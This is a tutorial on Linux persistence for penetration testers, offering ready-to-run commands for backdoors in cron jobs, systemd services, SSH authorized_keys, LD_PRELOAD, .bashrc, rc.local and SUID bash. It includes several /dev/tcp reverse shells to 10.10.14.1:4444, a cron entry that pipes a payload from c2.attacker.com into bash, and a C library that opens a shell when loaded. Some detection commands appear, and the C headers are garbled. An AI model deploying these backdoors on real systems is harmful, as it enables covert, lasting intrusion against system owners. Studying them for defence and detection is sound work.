Linux persistence techniques are essential knowledge for penetration testers and red teamers who need to maintain access to compromised systems. Understanding how attackers establish persistence using cron jobs, systemd services, SSH keys, and LD_PRELOAD allows defenders to detect and remediate these footholds before they can be exploited.
Cron-Based Persistence
Cron jobs provide one of the most common Linux persistence mechanisms. Attackers add malicious entries to crontabs at multiple levels: user crontabs, /etc/cron.d/, /etc/crontab, and /etc/cron.hourly/ directories. Each runs with different privilege levels.
# User-level persistence (runs as current user)
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.backdoor &") | crontab -
# System-wide cron (requires root)
echo "* * * * * root /bin/bash -i >& /dev/tcp/10.10.14.1/4444 0>&1" >> /etc/crontab
# Cron.d directory
cat > /etc/cron.d/sysupdate << EOF
* * * * * root curl http://c2.attacker.com/payload.sh | bash
EOF
# List all cron jobs across the system
for user in $(cut -f1 -d: /etc/passwd); do
crontab -u $user -l 2>/dev/null
done
ls -la /etc/cron* /var/spool/cron/Systemd Service Persistence
Systemd services offer stealthy persistence because they blend in with legitimate system services, survive reboots, and can auto-restart after crashes. Creating a malicious service requires root privileges but provides reliable execution.
# Create malicious systemd service
cat > /etc/systemd/system/syslogd.service << EOF
[Unit]
Description=System Logger Daemon
After=network.target
[Service]
Type=forking
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1 &"
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable syslogd.service
systemctl start syslogd.service
# User-level systemd (no root required)
mkdir -p ~/.config/systemd/user/
cat > ~/.config/systemd/user/update-check.service << EOF
[Unit]
Description=Update Checker
[Service]
ExecStart=/home/user/.config/.update-check
Restart=always
[Install]
WantedBy=default.target
EOF
systemctl --user enable update-check.serviceSSH Key Persistence
Adding attacker-controlled SSH keys to authorized_keys files provides persistent, encrypted access that bypasses password authentication and blends in with legitimate admin access patterns.
# Add attacker SSH key to target user
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@kali" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# Root persistence via SSH
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@kali" >> /root/.ssh/authorized_keys
# Backdoor sshd_config (requires root)
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
# Detect unauthorized SSH keys
for user in $(cut -f1 -d: /etc/passwd); do
home=$(eval echo ~$user)
if [ -f "$home/.ssh/authorized_keys" ]; then
echo "=== $user ==="
cat "$home/.ssh/authorized_keys"
fi
doneLD_PRELOAD Hijacking
LD_PRELOAD allows injecting a shared library into any dynamically-linked process. When set in /etc/ld.so.preload, it affects every process system-wide, making it an extremely powerful but detectable persistence mechanism.
// malicious.c - creates reverse shell when loaded
#include
#include
#include
void __attribute__((constructor)) init() {
if (getuid() == 0) {
system("bash -i >& /dev/tcp/10.10.14.1/4444 0>&1 &");
}
}
// Compile
gcc -shared -fPIC -nostartfiles -o /lib/libutil.so malicious.c
# System-wide preload (requires root)
echo "/lib/libutil.so" > /etc/ld.so.preload
# Detect LD_PRELOAD abuse
cat /etc/ld.so.preload
lsof | grep deleted # Look for deleted but still-loaded libraries
find / -name "*.so" -newer /bin/ls -ls 2>/dev/null Additional Persistence Methods
Beyond cron and systemd, attackers use .bashrc/.profile modification, /etc/rc.local, PAM backdoors, kernel modules, and SUID binary manipulation. Each has different detection difficulty and privilege requirements.
# .bashrc persistence (user-level)
echo "nohup bash -i >& /dev/tcp/10.10.14.1/4444 0>&1 &" >> ~/.bashrc
# /etc/rc.local (requires root)
echo "/tmp/.backdoor &" >> /etc/rc.local
# SUID bit on bash copy
cp /bin/bash /tmp/.bash
chmod +s /tmp/.bash
# Execute: /tmp/.bash -p
# Detection checklist
find / -perm -4000 -type f 2>/dev/null # SUID files
find / -mtime -7 -type f -name "*.sh" 2>/dev/null # Recent shell scripts
ls -la /etc/rc.local /etc/rc*.d/
cat /etc/environment
ps auxf # Process treeDetection & Defense
Detecting Linux persistence requires monitoring file system changes, process creation, network connections, and configuration modifications. Tools like auditd, OSSEC, and Falco provide real-time alerting on suspicious activity. Reference the MITRE ATT&CK Persistence tactics for comprehensive coverage.